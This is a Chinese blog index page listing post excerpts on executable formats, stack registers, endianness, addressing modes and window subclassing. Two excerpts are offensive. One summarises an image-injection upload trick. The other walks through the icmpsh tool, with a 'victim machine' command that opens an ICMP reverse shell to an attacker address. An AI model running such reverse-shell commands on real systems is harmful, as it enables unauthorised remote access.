上一页 1 ··· 11 12 13 14 15 16 17 18 19 ··· 38 下一页
摘要: 可执行文件:可以由操作系统进行加载执行的文件 在Windows平台中若要程序可执行,必须遵守可执行文件的格式 可执行文件的格式: Windows平台:PE(Portable Executable)文件结构,其中Portable也就是Windows系统中能够跨平台运行 Linux平台:ELF(Exec 阅读全文
posted @ 2020-02-14 17:24 zpchcbd 阅读(980) 评论(0) 推荐(0) 编辑
摘要: 前言:比起ESP寻址的方式,EBP需要去理解下其中的含义,所以记录下! 个人理解: 1、EBP和ESP之间的关系 汇编体现: 阅读全文
posted @ 2020-02-14 14:25 zpchcbd 阅读(858) 评论(0) 推荐(0) 编辑
摘要: 1、内存中的堆栈使用是先从 高位的地址 到 低位的地址 使用、存储的。 2、堆栈使用的时候,最后需要进行堆栈平衡,也就是去平衡ESP中寄存器存储的值 3、ESP寄存器中存储的值对应的就是当前堆栈使用的位置 4、如果当前的压入的堆栈数据(不是通过push指令)后面不需要的话,一般就是在sub esp, 阅读全文
posted @ 2020-02-13 17:08 zpchcbd 阅读(833) 评论(0) 推荐(0) 编辑
摘要: 比较简单,都作下记录吧! 数据存储存放的位置:寄存器、内存 形式一:立即数 形式二:[寄存器] 形式三:[寄存器+立即数] 形式四:[寄存器+寄存器 {1,2,4,8}] 形式五:[寄存器+寄存器 {1,2,4,8}+立即数] 阅读全文
posted @ 2020-02-13 15:06 zpchcbd 阅读(1276) 评论(0) 推荐(1) 编辑
摘要: char类型 在内存中的机器码为 如果超过能够存储的字节呢? 比如: 存放模式为小端模式,结果如下存储 int类型 在内存中的机器码为 ,后面的值被填充为 如果超过能够存储的字节大小呢? 那么就是与上面同理! 阅读全文
posted @ 2020-02-12 22:50 zpchcbd 阅读(260) 评论(0) 推荐(0) 编辑
摘要: 小端存储:数据的低字节存储在低地址上。 大端存储:数据的低字节存储在高地址上。 比如一个int数据a=0x00020301=131841 如果是小端存放,那么内存中数据顺序为: 00000000 00000010 00000011 00000001 高地址 低地址 如果是大端存放,那么内存中数据顺序 阅读全文
posted @ 2020-02-12 20:27 zpchcbd 阅读(327) 评论(0) 推荐(0) 编辑
摘要: 窗口子类化:是创建一个新的窗口函数代替原来的窗口函数。 简单说来,子类化是靠拦截Windows系统中的某些消息来自己进行处理。 自己实现的是子类化一个编辑框,对编辑框输入的内容进行限制 只允许0~9、空格、一个点 定义一个CEditDemo头文件 CEditDemo的源文件: 阅读全文
posted @ 2020-02-12 18:12 zpchcbd 阅读(308) 评论(0) 推荐(0) 编辑
摘要: ``` In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1... 阅读全文
posted @ 2020-02-12 13:56 zpchcbd 阅读(602) 评论(0) 推荐(0) 编辑
摘要: 使用的项目是:https://github.com/inquisb/icmpsh/ 服务端:跨平台 客户端:只能在Windows平台上使用 ⾸先linux执⾏:忽略网络中请求的echo包 攻击者机器执⾏ 受害者机器执⾏ icmpsh.exe t 192.168.181.129 反弹shell成功! 阅读全文
posted @ 2020-02-11 22:28 zpchcbd 阅读(418) 评论(0) 推荐(0) 编辑
摘要: 对话框头文件中 阅读全文
posted @ 2020-02-11 20:34 zpchcbd 阅读(2016) 评论(0) 推荐(0) 编辑
上一页 1 ··· 11 12 13 14 15 16 17 18 19 ··· 38 下一页